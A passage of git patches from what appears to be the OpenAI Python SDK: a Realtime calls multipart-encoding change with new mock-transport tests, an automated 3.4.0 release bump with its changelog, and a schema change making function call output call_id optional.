- session_payload = maybe_transform(session, RealtimeSessionCreateRequestParam)
- files = [
- ("sdp", (None, sdp.encode("utf-8"), "application/sdp")),
- ("session", (None, json.dumps(session_payload).encode("utf-8"), "application/json")),
- ]
- return self._post(
- "/realtime/calls",
- files=files,
- options=make_request_options(
- extra_headers=extra_headers, extra_query=extra_query, extra_body=extra_body, timeout=timeout
- ),
- cast_to=_legacy_response.HttpxBinaryResponseContent,
- )
-
-
-class _AsyncCalls(AsyncCalls):
- @override
- async def create(
- self,
- *,
- sdp: str,
- session: RealtimeSessionCreateRequestParam | Omit = omit,
- extra_headers: Headers | None = None,
- extra_query: Query | None = None,
- extra_body: Body | None = None,
- timeout: float | httpx2.Timeout | None | NotGiven = not_given,
- ) -> _legacy_response.HttpxBinaryResponseContent:
- if session is omit:
- extra_headers = {"Accept": "application/sdp", "Content-Type": "application/sdp", **(extra_headers or {})}
- return await self._post(
- "/realtime/calls",
- content=sdp.encode("utf-8"),
- options=make_request_options(extra_headers=extra_headers, extra_query=extra_query, timeout=timeout),
- cast_to=_legacy_response.HttpxBinaryResponseContent,
- )
-
- extra_headers = {"Accept": "application/sdp", "Content-Type": "multipart/form-data", **(extra_headers or {})}
- session_payload = await async_maybe_transform(session, RealtimeSessionCreateRequestParam)
- files = [
- ("sdp", (None, sdp.encode("utf-8"), "application/sdp")),
- ("session", (None, json.dumps(session_payload).encode("utf-8"), "application/json")),
- ]
- return await self._post(
- "/realtime/calls",
- files=files,
- options=make_request_options(
- extra_headers=extra_headers, extra_query=extra_query, extra_body=extra_body, timeout=timeout
- ),
- cast_to=_legacy_response.HttpxBinaryResponseContent,
- )
diff --git a/src/openai/resources/realtime/calls.py b/src/openai/resources/realtime/calls.py
index 3bc6817f5d..09b81af264 100644
--- a/src/openai/resources/realtime/calls.py
+++ b/src/openai/resources/realtime/calls.py
@@ -20,6 +20,7 @@
to_custom_streamed_response_wrapper,
async_to_custom_streamed_response_wrapper,
)
+from ..._multipart import encode_multipart
from ..._base_client import make_request_options
from ...types.realtime import (
call_refer_params,
@@ -71,9 +72,8 @@ def create(
extra_body: Body | None = None,
timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> _legacy_response.HttpxBinaryResponseContent:
- """
- Create a new Realtime API call over WebRTC and receive the SDP answer needed to
- complete the peer connection.
+ """Create a new Realtime API call over WebRTC and receive the SDP answer needed
+ to complete the peer connection.
Args:
sdp: WebRTC Session Description Protocol (SDP) offer generated by the caller.
@@ -89,15 +89,34 @@ def create(
timeout: Override the client-level default timeout for this request, in seconds
"""
extra_headers = {"Accept": "application/sdp", **(extra_headers or {})}
+ # It should be noted that the actual Content-Type header that will be
+ # sent to the server will contain a `boundary` parameter, e.g.
+ # multipart/form-data; boundary=---abc--
+ extra_headers = {"Content-Type": "multipart/form-data", **(extra_headers or {})}
+ multipart_body = maybe_transform(
+ {
+ "sdp": sdp,
+ "session": session,
+ },
+ call_create_params.CallCreateParams,
+ )
+ multipart_body, multipart_files, multipart_content, content_type = encode_multipart(
+ multipart_body,
+ extra_body,
+ {"sdp": ("application/sdp", False), "session": ("application/json", True)},
+ "sdp",
+ None,
+ )
+ extra_body = None
+ extra_headers = {
+ **{key: value for key, value in (extra_headers or {}).items() if key.lower() != "content-type"},
+ "Content-Type": content_type,
+ }
return self._post(
"/realtime/calls",
- body=maybe_transform(
- {
- "sdp": sdp,
- "session": session,
- },
- call_create_params.CallCreateParams,
- ),
+ body=multipart_body,
+ files=multipart_files,
+ content=multipart_content,
options=make_request_options(
extra_headers=extra_headers,
extra_query=extra_query,
@@ -433,9 +452,8 @@ async def create(
extra_body: Body | None = None,
timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> _legacy_response.HttpxBinaryResponseContent:
- """
- Create a new Realtime API call over WebRTC and receive the SDP answer needed to
- complete the peer connection.
+ """Create a new Realtime API call over WebRTC and receive the SDP answer needed
+ to complete the peer connection.
Args:
sdp: WebRTC Session Description Protocol (SDP) offer generated by the caller.
@@ -451,15 +469,34 @@ async def create(
timeout: Override the client-level default timeout for this request, in seconds
"""
extra_headers = {"Accept": "application/sdp", **(extra_headers or {})}
+ # It should be noted that the actual Content-Type header that will be
+ # sent to the server will contain a `boundary` parameter, e.g.
+ # multipart/form-data; boundary=---abc--
+ extra_headers = {"Content-Type": "multipart/form-data", **(extra_headers or {})}
+ multipart_body = await async_maybe_transform(
+ {
+ "sdp": sdp,
+ "session": session,
+ },
+ call_create_params.CallCreateParams,
+ )
+ multipart_body, multipart_files, multipart_content, content_type = encode_multipart(
+ multipart_body,
+ extra_body,
+ {"sdp": ("application/sdp", False), "session": ("application/json", True)},
+ "sdp",
+ None,
+ )
+ extra_body = None
+ extra_headers = {
+ **{key: value for key, value in (extra_headers or {}).items() if key.lower() != "content-type"},
+ "Content-Type": content_type,
+ }
return await self._post(
"/realtime/calls",
- body=await async_maybe_transform(
- {
- "sdp": sdp,
- "session": session,
- },
- call_create_params.CallCreateParams,
- ),
+ body=multipart_body,
+ files=multipart_files,
+ content=multipart_content,
options=make_request_options(
extra_headers=extra_headers,
extra_query=extra_query,
diff --git a/tests/lib/test_realtime_calls.py b/tests/lib/test_realtime_calls.py
new file mode 100644
index 0000000000..c2c4da4f90
--- /dev/null
+++ b/tests/lib/test_realtime_calls.py
@@ -0,0 +1,101 @@
+from __future__ import annotations
+
+import json
+from email import policy
+from typing import Any, Callable, cast
+from email.parser import BytesParser
+from email.message import EmailMessage
+
+import httpx2
+import pytest
+
+from openai import OpenAI, AsyncOpenAI, omit
+from openai.resources.realtime.calls import Calls, AsyncCalls
+
+OFFER = "v=0\r\ns=Unicode π\r\n"
+ANSWER = "v=0\r\ns=answer\r\n"
+SETTINGS = {"type": "realtime", "model": "test-model", "future": {"flags": [False, None]}}
+MODES = ["multipart", "omitted", "null", "extra-only", "extra-null", "omit-override", "sdp-override"]
+
+
+def request_args(mode: str) -> dict[str, Any]:
+ args: dict[str, Any] = {"sdp": OFFER, "extra_headers": {"content-type": "application/json"}}
+ if mode == "multipart":
+ args.update(session={"type": "realtime", "model": "overridden"}, extra_body={"session": SETTINGS})
+ elif mode == "null":
+ args["session"] = None
+ elif mode == "extra-only":
+ args["extra_body"] = {"session": SETTINGS}
+ elif mode == "extra-null":
+ args["extra_body"] = {"session": None}
+ elif mode == "omit-override":
+ args.update(session=SETTINGS, extra_body={"session": omit})
+ elif mode == "sdp-override":
+ args.update(sdp="superseded", extra_body={"sdp": OFFER, "session": SETTINGS})
+ return args
+
+
+def handler_for(mode: str, calls: list[httpx2.Request]) -> Callable[[httpx2.Request], httpx2.Response]:
+ def handler(request: httpx2.Request) -> httpx2.Response:
+ calls.append(request)
+ assert request.url.path == "/v1/realtime/calls"
+ assert request.headers["accept"] == "application/sdp"
+ if mode in {"omitted", "omit-override"}:
+ assert request.headers["content-type"] == "application/sdp"
+ assert request.read() == OFFER.encode()
+ else:
+ assert request.headers["content-type"].startswith("multipart/form-data; boundary=")
+ message = BytesParser(_class=EmailMessage, policy=policy.default).parsebytes(
+ ("Content-Type: " + request.headers["content-type"] + "\r\n\r\n").encode() + request.read()
+ )
+ parts = list(message.iter_parts())
+ assert len(parts) == 2
+ named = {part.get_param("name", header="content-disposition"): part for part in parts}
+ assert named["sdp"].get_content_type() == "application/sdp"
+ assert named["sdp"].get_payload(decode=True) == OFFER.encode()
+ assert named["session"].get_content_type() == "application/json"
+ assert json.loads(cast(bytes, named["session"].get_payload(decode=True))) == (
+ None if mode in {"null", "extra-null"} else SETTINGS
+ )
+ assert all(part.get_filename() is None for part in parts)
+ if len(calls) == 1:
+ return httpx2.Response(500, json={"error": {"message": "synthetic retry"}}, headers={"retry-after-ms": "1"})
+ return httpx2.Response(
+ 201, content=ANSWER, headers={"content-type": "application/sdp", "location": "/v1/realtime/calls/test-call"}
+ )
+
+ return handler
+
+
+@pytest.mark.parametrize("mode", MODES)
+def test_public_create_uses_generated_wire_contract(mode: str) -> None:
+ calls: list[httpx2.Request] = []
+ with OpenAI(
+ api_key="synthetic-test-key",
+ base_url="https://example.test/v1",
+ max_retries=1,
+ http_client=httpx2.Client(transport=httpx2.MockTransport(handler_for(mode, calls))),
+ ) as client:
+ assert type(client.realtime.calls).create is Calls.create
+ response = client.realtime.calls.with_raw_response.create(**request_args(mode))
+ assert response.status_code == 201
+ assert response.headers["location"].endswith("/test-call")
+ assert response.parse().text == ANSWER
+ assert len(calls) == 2
+
+
+@pytest.mark.parametrize("mode", MODES)
+async def test_public_async_create_uses_generated_wire_contract(mode: str) -> None:
+ calls: list[httpx2.Request] = []
+ async with AsyncOpenAI(
+ api_key="synthetic-test-key",
+ base_url="https://example.test/v1",
+ max_retries=1,
+ http_client=httpx2.AsyncClient(transport=httpx2.MockTransport(handler_for(mode, calls))),
+ ) as client:
+ assert type(client.realtime.calls).create is AsyncCalls.create
+ response = await client.realtime.calls.with_raw_response.create(**request_args(mode))
+ assert response.status_code == 201
+ assert response.headers["location"].endswith("/test-call")
+ assert response.parse().text == ANSWER
+ assert len(calls) == 2
diff --git a/tests/test_multipart_encoding.py b/tests/test_multipart_encoding.py
new file mode 100644
index 0000000000..5c2b4823df
--- /dev/null
+++ b/tests/test_multipart_encoding.py
@@ -0,0 +1,69 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+import json
+from email import policy
+from typing import cast
+from email.parser import BytesParser
+from email.message import EmailMessage
+
+import httpx2
+
+from openai import omit
+from openai._files import to_httpx_files
+from openai._multipart import encode_multipart
+
+ENCODINGS = {"offer": ("application/sdp", False), "settings": ("application/json", True)}
+OFFER = "v=0\r\ns=Unicode π\r\n"
+
+
+def test_encoded_parts_preserve_json_and_text() -> None:
+ settings = {"nested": {"future": [False, None, "π"]}}
+ body, files, content, content_type = encode_multipart(
+ {"offer": OFFER, "settings": {"old": True}}, {"settings": settings}, ENCODINGS
+ )
+ request = httpx2.Request("POST", "https://example.test", data=body, files=to_httpx_files(files), content=content)
+ payload = request.read()
+ message = BytesParser(_class=EmailMessage, policy=policy.default).parsebytes(
+ ("Content-Type: " + request.headers["content-type"] + "\r\n\r\n").encode() + payload
+ )
+ assert content_type == "multipart/form-data"
+ parts = list(message.iter_parts())
+ assert len(parts) == 2
+ named = {part.get_param("name", header="content-disposition"): part for part in parts}
+ assert named["offer"].get_content_type() == "application/sdp"
+ assert named["offer"].get_payload(decode=True) == OFFER.encode()
+ assert named["settings"].get_content_type() == "application/json"
+ assert json.loads(cast(bytes, named["settings"].get_payload(decode=True))) == settings
+ assert all(part.get_filename() is None for part in parts)
+
+
+def test_raw_alternative_omits_absent_settings() -> None:
+ body, files, content, content_type = encode_multipart({"offer": OFFER, "settings": omit}, None, ENCODINGS, "offer")
+ assert body is None and files is None
+ assert content == OFFER.encode()
+ assert content_type == "application/sdp"
+
+
+def test_explicit_null_is_a_json_part_not_a_raw_alternative() -> None:
+ _body, files, content, content_type = encode_multipart({"offer": OFFER, "settings": None}, None, ENCODINGS, "offer")
+ assert content is None
+ assert content_type == "multipart/form-data"
+ assert dict(files or [])["settings"] == (None, b"null", "application/json")
+
+
+def test_extra_body_does_not_get_dropped_by_raw_alternative() -> None:
+ _body, files, content, content_type = encode_multipart(
+ {"offer": OFFER}, {"settings": {"future": True}}, ENCODINGS, "offer"
+ )
+ assert files is not None
+ assert content is None
+ assert content_type == "multipart/form-data"
+
+
+def test_omit_override_removes_field() -> None:
+ _body, _files, content, _content_type = encode_multipart(
+ {"offer": OFFER, "settings": {}}, {"settings": omit}, ENCODINGS, "offer"
+ )
+ assert content == OFFER.encode()
From a64dd8ffc78a5892ff612a48dc88c99b27478135 Mon Sep 17 00:00:00 2001
From: "openai-sdks[bot]" <284451331+openai-sdks[bot]@users.noreply.github.com>
Date: Wed, 26 Aug 2026 21:45:07 +0000
Subject: [PATCH 073/341] release: 3.4.0 (#3682)
Automated Release PR
---
##
[3.4.0](https://github.com/openai/openai-python/compare/v3.3.1...v3.4.0)
(2026-08-25)
### Features
* **api:** Add obfuscation field to ChatCompletionChunk
([#3690](https://github.com/openai/openai-python/issues/3690))
([c7d8e1d](https://github.com/openai/openai-python/commit/c7d8e1d26be1f958e55c80f26b648f768afabdf2))
* **api:** add project residency configuration and cost quantity units
([#3726](https://github.com/openai/openai-python/issues/3726))
([bc4f8ef](https://github.com/openai/openai-python/commit/bc4f8efdbc1f8fa6b78935e205780e259d83576d))
### Bug Fixes
* **api:** encode Realtime call offers and session configuration
([#3736](https://github.com/openai/openai-python/issues/3736))
([555ac48](https://github.com/openai/openai-python/commit/555ac487f450f24928d859478ea2f41b58906206))
* apply consistent origin checks to WebSocket redirects
([#3693](https://github.com/openai/openai-python/issues/3693))
([1b324d0](https://github.com/openai/openai-python/commit/1b324d044dcedc377e688c405416f928b0aedfb6))
* **azure:** encode deployment names consistently
([#3683](https://github.com/openai/openai-python/issues/3683))
([689538d](https://github.com/openai/openai-python/commit/689538d531692e30ac1928779e6f1b97cc95db45))
* **azure:** keep provider validation errors value-free
([#3691](https://github.com/openai/openai-python/issues/3691))
([72529c0](https://github.com/openai/openai-python/commit/72529c013707e7b5ed99edbc836603618a1e4be6))
* **azure:** resolve one authentication mode
([#3689](https://github.com/openai/openai-python/issues/3689))
([e3d0681](https://github.com/openai/openai-python/commit/e3d06812535d7f2fe1bc6e57c12bd0ac0dd4acd1))
* compute custom-code summaries from trusted workflow code
([#3692](https://github.com/openai/openai-python/issues/3692))
([2b5868d](https://github.com/openai/openai-python/commit/2b5868da23cb61876ec27d76591ea5fdb2b8c14d))
* create upload example fixtures in private directories
([#3686](https://github.com/openai/openai-python/issues/3686))
([f36e6f7](https://github.com/openai/openai-python/commit/f36e6f79662b22e9d8f1660d4576b4b15cd8ac76))
* decode SSE incrementally without limiting event size
([#3687](https://github.com/openai/openai-python/issues/3687))
([2598d53](https://github.com/openai/openai-python/commit/2598d530cf682784465e9f82558a830ac5f94486))
* keep Python SDK diagnostics metadata-only
([#3685](https://github.com/openai/openai-python/issues/3685))
([600aa8d](https://github.com/openai/openai-python/commit/600aa8daade4c9df87deb76f6b8442ee828a7cbc))
* Preserve Azure authentication boundaries across transports
([#3684](https://github.com/openai/openai-python/issues/3684))
([06ef57c](https://github.com/openai/openai-python/commit/06ef57caafe73d625ad4458ab5d29241e30c44bc))
* preserve the configured TLS hostname
([#3694](https://github.com/openai/openai-python/issues/3694))
([aa5fbc4](https://github.com/openai/openai-python/commit/aa5fbc401f179fc515905d84623718c2b66ec653))
* preserve WebSocket send queue byte accounting during flush
([#3688](https://github.com/openai/openai-python/issues/3688))
([96f966d](https://github.com/openai/openai-python/commit/96f966d77bddc7449ae23fda5b29ef44c3f98cc2))
### Chores
* **api:** Clarify image background docs and preview support
([#3703](https://github.com/openai/openai-python/issues/3703))
([bedb9a7](https://github.com/openai/openai-python/commit/bedb9a7b8839e193107e88b92f7cc166f08ac83d))
* **api:** document supported image generation models
([#3695](https://github.com/openai/openai-python/issues/3695))
([8edd9ae](https://github.com/openai/openai-python/commit/8edd9ae411f9d0a5385447a4697c9f7042868213))
* **api:** move chat validation tests out of generated code
([#3698](https://github.com/openai/openai-python/issues/3698))
([9d3ba20](https://github.com/openai/openai-python/commit/9d3ba20f9567a62b2ebb3542661a60dc4ed2fd67))
* **api:** move webhook tests out of generated code
([#3700](https://github.com/openai/openai-python/issues/3700))
([04ecb3c](https://github.com/openai/openai-python/commit/04ecb3c21712e1236e7aa2eb9d715d57acb26c35))
* **api:** remove redundant generated formatting
([#3696](https://github.com/openai/openai-python/issues/3696))
([5ac1e03](https://github.com/openai/openai-python/commit/5ac1e03e1ae8f08acf6213b3e44772734dbb8e59))
* **api:** remove redundant generated test edits
([#3697](https://github.com/openai/openai-python/issues/3697))
([351ef84](https://github.com/openai/openai-python/commit/351ef84dc25211ea871f60eb16a469a89d20e133))
* **api:** Update SDK generation metadata only
([#3716](https://github.com/openai/openai-python/issues/3716))
([e43b422](https://github.com/openai/openai-python/commit/e43b422412a9e96c9cc5192c61fffbe2d7e04836))
* set a ceiling for Python SDK customization
([#3714](https://github.com/openai/openai-python/issues/3714))
([04d5d79](https://github.com/openai/openai-python/commit/04d5d79fc71e883a3114b80ed8408bef76e72cd3))
### Documentation
* **api:** restore generated ChatKit API index
([#3705](https://github.com/openai/openai-python/issues/3705))
([4534106](https://github.com/openai/openai-python/commit/45341061b382473ee8a8e8c796ef8819089abbb6))
* standardize Python SDK vulnerability disclosure policy
([#3642](https://github.com/openai/openai-python/issues/3642))
([1fc0a21](https://github.com/openai/openai-python/commit/1fc0a217047cf7f767db10479b5d741b870bc74f))
### Refactors
* **api:** isolate audio response format selection
([#3701](https://github.com/openai/openai-python/issues/3701))
([ece4324](https://github.com/openai/openai-python/commit/ece4324da0b96f848b48bdef090a372ff0a1db26))
* **api:** isolate vector-store polling helpers
([#3713](https://github.com/openai/openai-python/issues/3713))
([a002ef3](https://github.com/openai/openai-python/commit/a002ef3c7d2276fb63deeea58d920d87da61b1e5))
* **api:** move file processing polling into SDK-owned helpers
([#3712](https://github.com/openai/openai-python/issues/3712))
([5f20c51](https://github.com/openai/openai-python/commit/5f20c51c694801cb0a4d0fed413bedc1bac2dda0))
* **api:** share embedding response decoding
([#3699](https://github.com/openai/openai-python/issues/3699))
([50de9af](https://github.com/openai/openai-python/commit/50de9af45900fa2c88ac11efbb7f9a7ff0057c42))
* **api:** share webhook signature verification
([#3704](https://github.com/openai/openai-python/issues/3704))
([e14ac34](https://github.com/openai/openai-python/commit/e14ac34376efa5260ef9ef82b939f451f6f9a66a))
---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).
Co-authored-by: openai-sdks[bot] <284451331+openai-sdks[bot]@users.noreply.github.com>
---
.release-please-manifest.json | 2 +-
CHANGELOG.md | 51 +++++++++++++++++++++++++++++++++++
pyproject.toml | 2 +-
src/openai/_version.py | 2 +-
uv.lock | 2 +-
5 files changed, 55 insertions(+), 4 deletions(-)
diff --git a/.release-please-manifest.json b/.release-please-manifest.json
index 0befe35d6d..2437b41932 100644
--- a/.release-please-manifest.json
+++ b/.release-please-manifest.json
@@ -1,3 +1,3 @@
{
- ".": "3.3.1"
+ ".": "3.4.0"
}
\ No newline at end of file
diff --git a/CHANGELOG.md b/CHANGELOG.md
index 85872e148d..a168ca5756 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -1,5 +1,56 @@
# Changelog
+## [3.4.0](https://github.com/openai/openai-python/compare/v3.3.1...v3.4.0) (2026-08-25)
+
+
+### Features
+
+* **api:** Add obfuscation field to ChatCompletionChunk ([#3690](https://github.com/openai/openai-python/issues/3690)) ([c7d8e1d](https://github.com/openai/openai-python/commit/c7d8e1d26be1f958e55c80f26b648f768afabdf2))
+* **api:** add project residency configuration and cost quantity units ([#3726](https://github.com/openai/openai-python/issues/3726)) ([bc4f8ef](https://github.com/openai/openai-python/commit/bc4f8efdbc1f8fa6b78935e205780e259d83576d))
+
+
+### Bug Fixes
+
+* **api:** encode Realtime call offers and session configuration ([#3736](https://github.com/openai/openai-python/issues/3736)) ([555ac48](https://github.com/openai/openai-python/commit/555ac487f450f24928d859478ea2f41b58906206))
+* apply consistent origin checks to WebSocket redirects ([#3693](https://github.com/openai/openai-python/issues/3693)) ([1b324d0](https://github.com/openai/openai-python/commit/1b324d044dcedc377e688c405416f928b0aedfb6))
+* **azure:** encode deployment names consistently ([#3683](https://github.com/openai/openai-python/issues/3683)) ([689538d](https://github.com/openai/openai-python/commit/689538d531692e30ac1928779e6f1b97cc95db45))
+* **azure:** keep provider validation errors value-free ([#3691](https://github.com/openai/openai-python/issues/3691)) ([72529c0](https://github.com/openai/openai-python/commit/72529c013707e7b5ed99edbc836603618a1e4be6))
+* **azure:** resolve one authentication mode ([#3689](https://github.com/openai/openai-python/issues/3689)) ([e3d0681](https://github.com/openai/openai-python/commit/e3d06812535d7f2fe1bc6e57c12bd0ac0dd4acd1))
+* compute custom-code summaries from trusted workflow code ([#3692](https://github.com/openai/openai-python/issues/3692)) ([2b5868d](https://github.com/openai/openai-python/commit/2b5868da23cb61876ec27d76591ea5fdb2b8c14d))
+* create upload example fixtures in private directories ([#3686](https://github.com/openai/openai-python/issues/3686)) ([f36e6f7](https://github.com/openai/openai-python/commit/f36e6f79662b22e9d8f1660d4576b4b15cd8ac76))
+* decode SSE incrementally without limiting event size ([#3687](https://github.com/openai/openai-python/issues/3687)) ([2598d53](https://github.com/openai/openai-python/commit/2598d530cf682784465e9f82558a830ac5f94486))
+* keep Python SDK diagnostics metadata-only ([#3685](https://github.com/openai/openai-python/issues/3685)) ([600aa8d](https://github.com/openai/openai-python/commit/600aa8daade4c9df87deb76f6b8442ee828a7cbc))
+* Preserve Azure authentication boundaries across transports ([#3684](https://github.com/openai/openai-python/issues/3684)) ([06ef57c](https://github.com/openai/openai-python/commit/06ef57caafe73d625ad4458ab5d29241e30c44bc))
+* preserve the configured TLS hostname ([#3694](https://github.com/openai/openai-python/issues/3694)) ([aa5fbc4](https://github.com/openai/openai-python/commit/aa5fbc401f179fc515905d84623718c2b66ec653))
+* preserve WebSocket send queue byte accounting during flush ([#3688](https://github.com/openai/openai-python/issues/3688)) ([96f966d](https://github.com/openai/openai-python/commit/96f966d77bddc7449ae23fda5b29ef44c3f98cc2))
+
+
+### Chores
+
+* **api:** Clarify image background docs and preview support ([#3703](https://github.com/openai/openai-python/issues/3703)) ([bedb9a7](https://github.com/openai/openai-python/commit/bedb9a7b8839e193107e88b92f7cc166f08ac83d))
+* **api:** document supported image generation models ([#3695](https://github.com/openai/openai-python/issues/3695)) ([8edd9ae](https://github.com/openai/openai-python/commit/8edd9ae411f9d0a5385447a4697c9f7042868213))
+* **api:** move chat validation tests out of generated code ([#3698](https://github.com/openai/openai-python/issues/3698)) ([9d3ba20](https://github.com/openai/openai-python/commit/9d3ba20f9567a62b2ebb3542661a60dc4ed2fd67))
+* **api:** move webhook tests out of generated code ([#3700](https://github.com/openai/openai-python/issues/3700)) ([04ecb3c](https://github.com/openai/openai-python/commit/04ecb3c21712e1236e7aa2eb9d715d57acb26c35))
+* **api:** remove redundant generated formatting ([#3696](https://github.com/openai/openai-python/issues/3696)) ([5ac1e03](https://github.com/openai/openai-python/commit/5ac1e03e1ae8f08acf6213b3e44772734dbb8e59))
+* **api:** remove redundant generated test edits ([#3697](https://github.com/openai/openai-python/issues/3697)) ([351ef84](https://github.com/openai/openai-python/commit/351ef84dc25211ea871f60eb16a469a89d20e133))
+* **api:** Update SDK generation metadata only ([#3716](https://github.com/openai/openai-python/issues/3716)) ([e43b422](https://github.com/openai/openai-python/commit/e43b422412a9e96c9cc5192c61fffbe2d7e04836))
+* set a ceiling for Python SDK customization ([#3714](https://github.com/openai/openai-python/issues/3714)) ([04d5d79](https://github.com/openai/openai-python/commit/04d5d79fc71e883a3114b80ed8408bef76e72cd3))
+
+
+### Documentation
+
+* **api:** restore generated ChatKit API index ([#3705](https://github.com/openai/openai-python/issues/3705)) ([4534106](https://github.com/openai/openai-python/commit/45341061b382473ee8a8e8c796ef8819089abbb6))
+* standardize Python SDK vulnerability disclosure policy ([#3642](https://github.com/openai/openai-python/issues/3642)) ([1fc0a21](https://github.com/openai/openai-python/commit/1fc0a217047cf7f767db10479b5d741b870bc74f))
+
+
+### Refactors
+
+* **api:** isolate audio response format selection ([#3701](https://github.com/openai/openai-python/issues/3701)) ([ece4324](https://github.com/openai/openai-python/commit/ece4324da0b96f848b48bdef090a372ff0a1db26))
+* **api:** isolate vector-store polling helpers ([#3713](https://github.com/openai/openai-python/issues/3713)) ([a002ef3](https://github.com/openai/openai-python/commit/a002ef3c7d2276fb63deeea58d920d87da61b1e5))
+* **api:** move file processing polling into SDK-owned helpers ([#3712](https://github.com/openai/openai-python/issues/3712)) ([5f20c51](https://github.com/openai/openai-python/commit/5f20c51c694801cb0a4d0fed413bedc1bac2dda0))
+* **api:** share embedding response decoding ([#3699](https://github.com/openai/openai-python/issues/3699)) ([50de9af](https://github.com/openai/openai-python/commit/50de9af45900fa2c88ac11efbb7f9a7ff0057c42))
+* **api:** share webhook signature verification ([#3704](https://github.com/openai/openai-python/issues/3704)) ([e14ac34](https://github.com/openai/openai-python/commit/e14ac34376efa5260ef9ef82b939f451f6f9a66a))
+
## [3.3.1](https://github.com/openai/openai-python/compare/v3.3.0...v3.3.1) (2026-08-19)
diff --git a/pyproject.toml b/pyproject.toml
index acacf8fcbe..536e93b045 100644
--- a/pyproject.toml
+++ b/pyproject.toml
@@ -1,6 +1,6 @@
[project]
name = "openai"
-version = "3.3.1"
+version = "3.4.0"
description = "The official Python library for the openai API"
dynamic = ["readme"]
license = "Apache-2.0"
diff --git a/src/openai/_version.py b/src/openai/_version.py
index 186c987465..a5b76a15db 100644
--- a/src/openai/_version.py
+++ b/src/openai/_version.py
@@ -1,2 +1,2 @@
__title__ = "openai"
-__version__ = "3.3.1" # x-release-please-version
+__version__ = "3.4.0" # x-release-please-version
diff --git a/uv.lock b/uv.lock
index fbfb24e3b7..faf054235b 100644
--- a/uv.lock
+++ b/uv.lock
@@ -1296,7 +1296,7 @@ wheels = [
[[package]]
name = "openai"
-version = "3.3.1" # x-release-please-version
+version = "3.4.0" # x-release-please-version
source = { editable = "." }
dependencies = [
{ name = "anyio" },
From c74501d7dc6946633fead7883ad02d8a188cf605 Mon Sep 17 00:00:00 2001
From: Alex Chang
Date: Wed, 26 Aug 2026 20:28:05 -0400
Subject: [PATCH 074/341] feat(api): make function call output call IDs
optional (#3738)
## Summary
Align function call output types with the API schema: `call_id` is
optional in stable and beta input and response types, and input types
also accept `null`.
Agents SDK change is expected / will need to be fixed after this PR
merges.
Co-authored-by: apcha-oai <228803254+apcha-oai@users.noreply.github.com>
---
.castiron.stats.yml | 14 +++++------
api_reference/openapi.transformed.yml | 24 +++++++++----------
...response_function_tool_call_output_item.py | 6 ++---
.../types/beta/beta_response_input_item.py | 6 ++---
.../beta/beta_response_input_item_param.py | 6 ++---
.../types/beta/beta_response_input_param.py | 6 ++---
...response_function_tool_call_output_item.py | 6 ++---
.../types/responses/response_input_item.py | 6 ++---
.../responses/response_input_item_param.py | 6 ++---
.../types/responses/response_input_param.py | 6 ++---
10 files changed, 43 insertions(+), 43 deletions(-)
diff --git a/.castiron.stats.yml b/.castiron.stats.yml
index 9320ad8d4a..a72c5c1efb 100644
--- a/.castiron.stats.yml
+++ b/.castiron.stats.yml
@@ -1,8 +1,8 @@
schema_version: 1
-generation_id: 894a0870-fe44-47b8-ae0e-d852e0a642a9
-openapi_spec_hash: b2c62b342b04685226037c980f2b5a7a
-openapi_transformed_spec_hash: ba44bf31326f01a1d886b7510dd9da8a
-config_hash: 4fbbbcf377bcc17646cccb9fcfbac14a
-codegen_sha: 29ea2f9fd4247a24ce57aec59ee2b9240745fcdf
-codegen_hash: dcd47732b7809ce7566ec5162d689b5320158e41aebcce2b31eaa9cd97fc4da2
-public_codegen_sha: eb1e776d29014be85225038a072a679387bda999
+generation_id: b67f6675-ad30-42fd-90ec-33d09485b9a0
+openapi_spec_hash: 32e9f9c8096eae027754def9afb89dc0
+openapi_transformed_spec_hash: a5861d7f7b67f6845c9499fdec7324a5
+config_hash: 5c00fe18ea913ed0186f9894adc02a70
+codegen_sha: 9177ce998eec68cf1d241f1efd84f8786eba92cd
+codegen_hash: 9271ebabb8723d763a7a728f3a455fb1ee4ea678e20885f891b50222f68d4def
+public_codegen_sha: 2951af18b699be3114ff5e6a3c7f7a669e7d5a76
diff --git a/api_reference/openapi.transformed.yml b/api_reference/openapi.transformed.yml
index 164fe8c284..556cdd2d9d 100644
--- a/api_reference/openapi.transformed.yml
+++ b/api_reference/openapi.transformed.yml
@@ -37968,7 +37968,6 @@ components:
- incomplete
required:
- type
- - call_id
- output
FunctionToolCallOutputResource:
allOf:
@@ -63939,10 +63938,12 @@ components:
example: fc_123
- type: 'null'
call_id:
- type: string
- maxLength: 64
- minLength: 1
- description: The unique ID of the function tool call generated by the model.
+ anyOf:
+ - type: string
+ maxLength: 64
+ minLength: 1
+ description: The unique ID of the function tool call generated by the model.
+ - type: 'null'
type:
type: string
enum:
@@ -63994,7 +63995,6 @@ components:
type: object
required:
- type
- - call_id
- output
title: Function tool call output
description: The output of a function tool call.
@@ -71251,10 +71251,12 @@ components:
example: fc_123
- type: 'null'
call_id:
- type: string
- maxLength: 64
- minLength: 1
- description: The unique ID of the function tool call generated by the model.
+ anyOf:
+ - type: string
+ maxLength: 64
+ minLength: 1
+ description: The unique ID of the function tool call generated by the model.
+ - type: 'null'
type:
type: string
enum:
@@ -71306,7 +71308,6 @@ components:
type: object
required:
- type
- - call_id
- output
title: Function tool call output
description: The output of a function tool call.
@@ -73658,7 +73659,6 @@ components:
- incomplete
required:
- type
- - call_id
- output
BetaFunctionToolCallResource:
allOf:
diff --git a/src/openai/types/beta/beta_response_function_tool_call_output_item.py b/src/openai/types/beta/beta_response_function_tool_call_output_item.py
index 61b947048f..cfe223de26 100644
--- a/src/openai/types/beta/beta_response_function_tool_call_output_item.py
+++ b/src/openai/types/beta/beta_response_function_tool_call_output_item.py
@@ -50,9 +50,6 @@ class BetaResponseFunctionToolCallOutputItem(BaseModel):
id: str
"""The unique ID of the function call tool output."""
- call_id: str
- """The unique ID of the function tool call generated by the model."""
-
output: Union[str, List[OutputOutputContentList]]
"""
The output from the function call generated by your code. Can be a string or an
@@ -72,6 +69,9 @@ class BetaResponseFunctionToolCallOutputItem(BaseModel):
agent: Optional[Agent] = None
"""The agent that produced this item."""
+ call_id: Optional[str] = None
+ """The unique ID of the function tool call generated by the model."""
+
caller: Optional[Caller] = None
"""The execution context that produced this tool call."""
